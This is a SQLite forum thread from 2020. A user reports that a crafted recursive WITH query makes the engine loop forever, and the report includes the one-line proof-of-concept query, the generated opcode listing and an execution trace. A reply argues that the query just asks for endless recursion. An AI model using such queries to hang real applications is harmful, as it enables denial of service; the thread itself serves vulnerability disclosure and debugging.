infinite loop in the generated opcode caused by the inappropriate handling of crafted statement
(1) By Zhuo Zhang (izhuer) on 2020-04-24 06:28:49 [link] [source]
In the latest version of sqlite (3.31 release and 3.32 dev), a crafted WITH statement can compromise the opcode generation logic, which results in an infinite loop problem. This vulnerability may result in denial of service of the target application that using sqlite. Note that this vulnerability is different from the one of https://sqlite.org/forum/info/5c580535edd4b3b0.
The poc is as followed:
WITH a AS ( SELECT 1 WHERE 1 UNION ALL SELECT * FROM a a ) SELECT 1 IN a ORDER BY 1 LIMIT 1;
We also attach the generated opcode and the trace of opcode during execution as followed. We can see that infinite loop occurs within address 15 (OP_Rewind) to address 25 (OP_Goto)
Generated Opcodes
addr opcode p1 p2 p3 p4 p5 comment
0 Init 0 49 0 00 Start at 49
1 Noop 2 3 0 00
2 Integer 1 1 0 00 r[1]=1; LIMIT counter
3 Null 0 2 0 00 r[2]=NULL
4 Noop 0 0 0 00 begin IN expr
5 Integer 33 4 0 00 r[4]=33; return address
6 Once 0 33 0 00
7 OpenEphemeral 3 1 0 k(1,B) 00 nColumn=1; Result of SELECT 3
8 InitCoroutine 5 27 9 00 a
9 OpenPseudo 1 6 1 00 1 columns in r[6]
10 OpenEphemeral 4 1 0 00 nColumn=1; Queue table
11 Integer 1 7 0 00 r[7]=1
12 MakeRecord 7 1 8 00 r[8]=mkrec(r[7])
13 NewRowid 4 9 0 00 r[9]=rowi
14 Insert 4 8 9 08 intkey=r[9] data=r[8]
15 Rewind 4 26 0 00
16 NullRow 1 0 0 00
17 RowData 4 6 0 00 r[6]=data
18 Delete 4 0 0 00
19 Column 1 0 10 00 r[10]=1
20 Yield 5 0 0 00
21 Column 1 0 7 00 r[7]=a.1
22 MakeRecord 7 1 8 00 r[8]=mkrec(r[7])
23 NewRowid 4 9 0 00 r[9]=rowid
24 Insert 4 8 9 08 intkey=r[9] data=r[8]
25 Goto 0 15 0 00
26 EndCoroutine 5 0 0 00
27 InitCoroutine 5 0 9 00
28 Yield 5 33 0 00 next row of a
29 Copy 10 11 0 00 r[11]=r[10]; a.1
30 MakeRecord 11 1 12 @ 00 r[12]=mkrec(r[11])
31 IdxInsert 3 12 11 1 00 key=r[12]
32 Goto 0 28 0 00
33 Return 4 0 0 00
34 Integer 0 3 0 00 r[3]=0
35 Rewind 3 37 0 00
36 Column 3 0 3 80 r[3]=first_entry_in(3)
37 Affinity 13 1 0 @ 00 affinity(r[13])
38 Found 3 44 13 1 00 key=r[13]
39 NotNull 3 45 0 00 if r[3]!=NULL goto 45
40 Rewind 3 45 0 00
41 Column 3 0 14 00 r[14]=
42 Ne 13 45 14 00 if r[14]!=r[13] goto 45
43 Goto 0 46 0 00 end IN expr
44 Integer 1 2 0 00 r[2]=1
45 AddImm 2 0 0 00 r[2]=r[2]+0
46 ResultRow 2 1 0 00 output=r[2]
47 DecrJumpZero 1 48 0 00 if (--r[1])==0 goto 48
48 Halt 0 0 0 00
49 Integer 1 13 0 00 r[13]=1
50 Goto 0 1 0 00
Opcode Trace
0: OP_Init
49: OP_Integer
50: OP_Goto
1: OP_Noop
2: OP_Integer
3: OP_Null
4: OP_Noop
5: OP_Integer
6: OP_Once
7: OP_OpenEphemeral
8: OP_InitCoroutine
27: OP_InitCoroutine
28: OP_Yield
9: OP_OpenPseudo
10: OP_OpenEphemeral
11: OP_Integer
12: OP_MakeRecord
13: OP_NewRowid
14: OP_Insert
15: OP_Rewind // first loop starts
16: OP_NullRow
17: OP_RowData
18: OP_Delete
19: OP_Column
20: OP_Yield
29: OP_Copy
30: OP_MakeRecord
31: OP_IdxInsert
32: OP_Goto
28: OP_Yield
21: OP_Column
22: OP_MakeRecord
23: OP_NewRowid
24: OP_Insert
25: OP_Goto // first loop ends
15: OP_Rewind // second loop starts
16: OP_NullRow
17: OP_RowData
18: OP_Delete
19: OP_Column
20: OP_Yield
29: OP_Copy
30: OP_MakeRecord
31: OP_IdxInsert
32: OP_Goto
28: OP_Yield
21: OP_Column
22: OP_MakeRecord
23: OP_NewRowid
24: OP_Insert
25: OP_Goto // second loop ends
...
(2) By Keith Medcalf (kmedcalf) on 2020-04-24 21:40:19 in reply to 1 [source]
The query specifies perpetual recursion. It is doing exactly what it has been asked to do. The programmer should not write SQL statements that do not have termination conditions.
If the statement came from outside the application, then your application has what is called an "SQL Injection Vulnerability" and is inherently defective.